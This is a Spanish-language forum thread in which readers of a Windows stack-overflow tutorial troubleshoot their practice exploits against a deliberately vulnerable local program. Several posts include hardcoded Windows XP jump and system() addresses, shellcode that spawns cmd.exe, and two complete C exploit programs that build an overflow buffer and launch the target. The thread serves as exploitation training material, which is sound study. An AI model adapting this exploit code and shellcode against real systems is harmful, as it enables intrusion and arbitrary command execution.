Autor
|
Tema: <-!-> Taller de Stack Overflows en Windows, por Rojodos (Leído 76,138 veces)
|
PK2
Desconectado
Mensajes: 9
|
#include <string.h> es todo lo que le falta al programa vulnerable.
|
|
|
En línea
|
|
|
|
ynos
Desconectado
Mensajes: 5
|
Ya he solucionado el problema con el programa vulnerable, muchas gracias Pero ahora tengo otros problema: Al utilizar el findjmp.exe para localizar el JMP ESB en los dll que utiliza el programa no encuentro ninguno, ¿hay algun reemplazo u otra forma de realizar de ese paso? Alguien me puede ayudar porque sino no puedo probar el exploit.. Gracias y salu2
|
|
|
En línea
|
|
|
|
PK2
Desconectado
Mensajes: 9
|
ynos: es probable que estés usando mal el findjmp.exe. Por que no decis como lo hacés lo correcto sería: findjmp ntdll.dll esp (tal como lo dice el manual Digo que quizás lo uses mal por que yo no tube ningún problema. Quizás no.
|
|
|
En línea
|
|
|
|
ynos
Desconectado
Mensajes: 5
|
No no, lo estoy usando tal y como dice el manual, el problema es que en ningun dll de los que utiliza el programa hay un JMP ESP, mira esta es la respuesta del programa despues de ejecutarlo:
Scanning ntdll.dll for code useable with the esp register Finished Scanning ntdll.dll for code useable with the esp register Found 0 usable addresses
Nose que hacer para reemplazar ese paso o hacerlo de otra forma
|
|
|
En línea
|
|
|
|
Croken
Desconectado
Mensajes: 15
|
pues rojodos mil graciass buenisimo el txt espero q hagas otro mas avanzado asi aprendo mas saludos
|
|
|
En línea
|
|
|
|
STN666
Desconectado
Mensajes: 1
|
Me a parecido un buen manual,pero me gustaria saber algo mas,Rojodos si no t importa agregarme o mandame un e-mail y hablaremos. Mi correo juasjuas666@hotmail.comMuchas gracias Juarez.
|
|
|
En línea
|
|
|
|
Dark_Knight
Desconectado
Mensajes: 97
|
Hola Que hago si no encuentro esto: 0040B4EC |. 55 PUSH EBP <---- Aquí empieza nuestra shellcode 0040B4ED |. 8BEC MOV EBP,ESP 0040B4EF |. 33FF XOR EDI,EDI 0040B4F1 |. 57 PUSH EDI 0040B4F2 |. 83EC 04 SUB ESP,4 0040B4F5 |. C645 F8 63 MOV BYTE PTR SS:[EBP-8],63 0040B4F9 |. C645 F9 6D MOV BYTE PTR SS:[EBP-7],6D 0040B4FD |. C645 FA 64 MOV BYTE PTR SS:[EBP-6],64 0040B501 |. C645 FB 2E MOV BYTE PTR SS:[EBP-5],2E 0040B505 |. C645 FC 65 MOV BYTE PTR SS:[EBP-4],65 0040B509 |. C645 FD 78 MOV BYTE PTR SS:[EBP-3],78 0040B50D |. C645 FE 65 MOV BYTE PTR SS:[EBP-2],65 0040B511 |. 8D45 F8 LEA EAX,DWORD PTR SS:[EBP-8] 0040B514 |. 50 PUSH EAX 0040B515 |. BB 4480BF77 MOV EBX,77BF8044 0040B51A |. FFD3 CALL EBX <--- Aqui acaba nuestra shellcode donde o como puedo saber donde empieza la shellcode si esto no me aparece ó me aparece diferente...y como compilo la shellcode en visual c++ , ya que cuando la intento compilar me aparecen errores y a lo mejor es porque no lo estoy haciendo bien....GRACIAS
|
|
|
En línea
|
El hombre no puede crear nada sin antes dar algo a cambio... para crear... algo del mismo valor debe perderse.... esa es la ley de la equivalencia de intercambio... y el que desafie esa ley se convertira en un desafio de las creencias del ser humano y de la existencia de dios....
|
|
|
sch3m4
Ex-Staff
Desconectado
Mensajes: 1.608
Nihil est in intelectu quod prius not fuerit insen
|
Tengo otro problema, y es que la la shellcode tiene el caracter "|" y me toma lo que hay despues como un comando, y no me deja ejecutarlo. Aqui os pogo las diferencias de los offsets y demas del tuto con respecto a mi equipo (WinXP Pro SP2 Esp). AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRR+offset+shellcode (EIP se rellena con "RRRR")
MIO: 55 8B EC 33 FF 57 83 EC 04 C6 45 F8 63 C6 45 F9 6D C6 45 FA 64 C6 45 FB 2E C6 45 FC 65 C6 45 FD 78 C6 45 FE 65 8D 45 F8 50 BB C793BF77 FF D3
TUTO: 55 8B EC 33 FF 57 C6 45 FC 63 C6 45 FD 6D C6 45 FE 64 8D 45 FC 50 BB 4480BF77 FF D3
[MIO] Olly: ESP 0012FF88 EIP 52525252
[TUTO] Olly: ESP 55555555 EIP 54545454
Offset kernel32.dll esp: 0x7C82385D Offset tuto: 0x77E81941
Offset system: 0x77bf93c7 Offset tuto: 0x77bf8044
Offset ntdll.dll esp (jmp esp): 0x7C951EED Offset tuto: 0x77F8980F
Aqui el "exploit": #include <stdio.h> #include <string.h> #include <stdlib.h>
void main() { /*para provocar el stack overflow*/ char evilbuffer[1024]="AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQ"; /*la shellcode que ejecuta system("cmd.exe"); con la llamada a system hardcodeada*/ char shellcode[]="\x55\x8B\xEC\x33\xFF\x57\x83\xEC\x04\xC6\x45\xF8\x63\xC6\x45\xF9\x6D\xC6\x45" "\xFA\x64\xC6\x45\xFB\x2E\xC6\x45\xFC\x65\xC6\x45\xFD\x78\xC6\x45\xFE\x65\x8D\x45\xF8\x50" "\xBB\xC7\x93\xBF\x77\xFF\xD3"; /*offset al que saltar para ejecutar la shell*/ //Offset jmp esp ntdll32.dll WinXP SP2 Esp char offset[]="\xED\x1E\x95\x7C";
strcat(evilbuffer,offset); //Concatenamos a evilbuffer el offset del jmp esp strcat(evilbuffer,shellcode); //Concatenamos a evilbuffer+offset la shellcode
/* printf ("Cadena + offset + shellcode en formato printable\n\n"); printf ("%s", evilbuffer); */ /* argv[0] = "vuln1"; //Definimos el argumento1, es decir, el nombre del vuln1 argv[1] = evilbuffer; //Definimos el argumento2, o sea, el argumento de vuln1 argv[2] = NULL; // Apunta a 0, porque no metemos mas argumentos */
char *buffer;buffer=(char *) malloc((strlen(evilbuffer)+strlen("stack.exe")+5)*sizeof(char)); strcpy(buffer,"stack.exe ");strcat(buffer,evilbuffer); system(buffer);
return; }
Ya he leido que los opcodes de la shellcode son diferentes, y que el EIP se rellena con 52525252 en vez de 54545454 porque rojodos lo compilo con Dev-Cpp Os dejo la salida que me da cuando lo ejecuto desde el VC++ "U<ì3ÿWƒì♦ÆEøcÆEùmÆEúdÆEû.ÆEüeÆEýxÆEþe?EøP»Ç"¿wÿÓ" no se reconoce como un comand o interno o externo, programa o archivo por lotes ejecutable. Press any key to continue
Y la string completa que explota el programa. stack.exe AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQÝ▲ò|Uïý3 Wâý♦ãE°cãE¨mãE·dãE¹.ãE³eãE²xãE■eìE°P╗Ãô┐w Ë
Pd: En mi caso, el programa vulnerable se llama "stack.exe" Pd2: Rojodos no sabes las veces k me he leido el tuto intentando encontrar el error que tengo xD ============= EDITADO ============= lo he debuggeado con olly pasandole como parametro esto: AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPP\x55\x8B\xEC\x33\xFF\x57\x83\xEC\x04\xC6\x45\xF8\x63\xC6\x45\xF9\x6D\xC6\x45\xFA\x64\xC6\x45\xFB\x2E\xC6\x45\xFC\x65\xC6\x45\xFD\x78\xC6\x45\xFE\x65\x8D\x45\xF8\x50\xBB\xC7\x93\xBF\x77\xFF\xD3
Pero en el EIP se meten "QQQQ" asi que se las quito, y me queda asi: http://img312.imageshack.us/img312/5522/dibujo7ln.pngPero incluso quitandole las "QQQQ" del exploit me dice lo mismo
|
|
« Última modificación: 28 Agosto 2005, 17:42 pm por Lympex »
|
En línea
|
SafetyBits
"Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.(..
|
|
|
Nosferatu
Desconectado
Mensajes: 226
Euskadi, bat eta askea!
|
Me sorprende no haber visto este buenisimo texto antes! Pero tengo una duda. En el manual pone que puede que se haga otro para exploiting en linux. Se ha echo ya? Lo que me interesa es programar mi primer exploit para usarlo contra un windows sp2 que tengo, pero quisiera compilarlo y usarlo en linux. Creo que lo que varia tiene algo que ver con la cabecera windows.h (o algo asi) y como en linux no hay, no se puede compilar Existe algun modo, o texto que me indique como "traducir" el source resultante para compilarlo y usarlo sobre plataformas linux? muchas gracias de antemano y saludos!!
|
|
|
En línea
|
Triste zaudenean, triste zaudenean, pentsa esazu, zure lagun onenean
|
|
|
sch3m4
Ex-Staff
Desconectado
Mensajes: 1.608
Nihil est in intelectu quod prius not fuerit insen
|
bueno, ya lo solucione, aqui os pongo el code: #include <stdio.h> #include <string.h> #include <stdlib.h> #include <windows.h>
int main() { //buffer char EvilBuffer[1024]="\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"; //direccion de jmp esp de ntdll.dll WinXP SP1 Español char Offset[]="\xCC\x59\xFA\x77"; /*Shellcode con la llamada a system("cmd.exe"); Offset de la funcion system en msvcrt.dll: 0x77bf8044 */ char ShellCode[]="\x55\x8B\xEC\x33\xFF\x57\x83\xEC\x04\xC6" "\x45\xF8\x63\xC6\x45\xF9\x6D\xC6\x45\xFA\x64\xC6\x45" "\xFB\x2E\xC6\x45\xFC\x65\xC6\x45\xFD\x78\xC6\x45\xFE" "\x65\x8D\x45\xF8\x50\xBB\x44\x80\xBF\x77\xFF\xD3"; /* HMODULE Dll=LoadLibrary("msvcrt.dll"); __asm{ push ebp mov ebp,esp xor edi,edi push edi sub esp,04h mov byte ptr [ebp-08h],63h mov byte ptr [ebp-07h],6Dh mov byte ptr [ebp-06h],64h mov byte ptr [ebp-05h],2Eh mov byte ptr [ebp-04h],65h mov byte ptr [ebp-03h],78h mov byte ptr [ebp-02h],65h lea eax,[ebp-08h] push eax mov ebx,0x77bf8044//Offset de la funcion system en msvcrt.dll call ebx } FreeLibrary(Dll); */
//creamos el parametro: Buffer + Offset + ShellCode strcat(EvilBuffer,Offset); strcat(EvilBuffer,ShellCode); //explotamos }:-D ShellExecute(NULL,"OPEN","vulnl.exe",EvilBuffer,NULL,true); return 0; }
|
|
|
En línea
|
SafetyBits
"Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.(..
|
|
|
|
|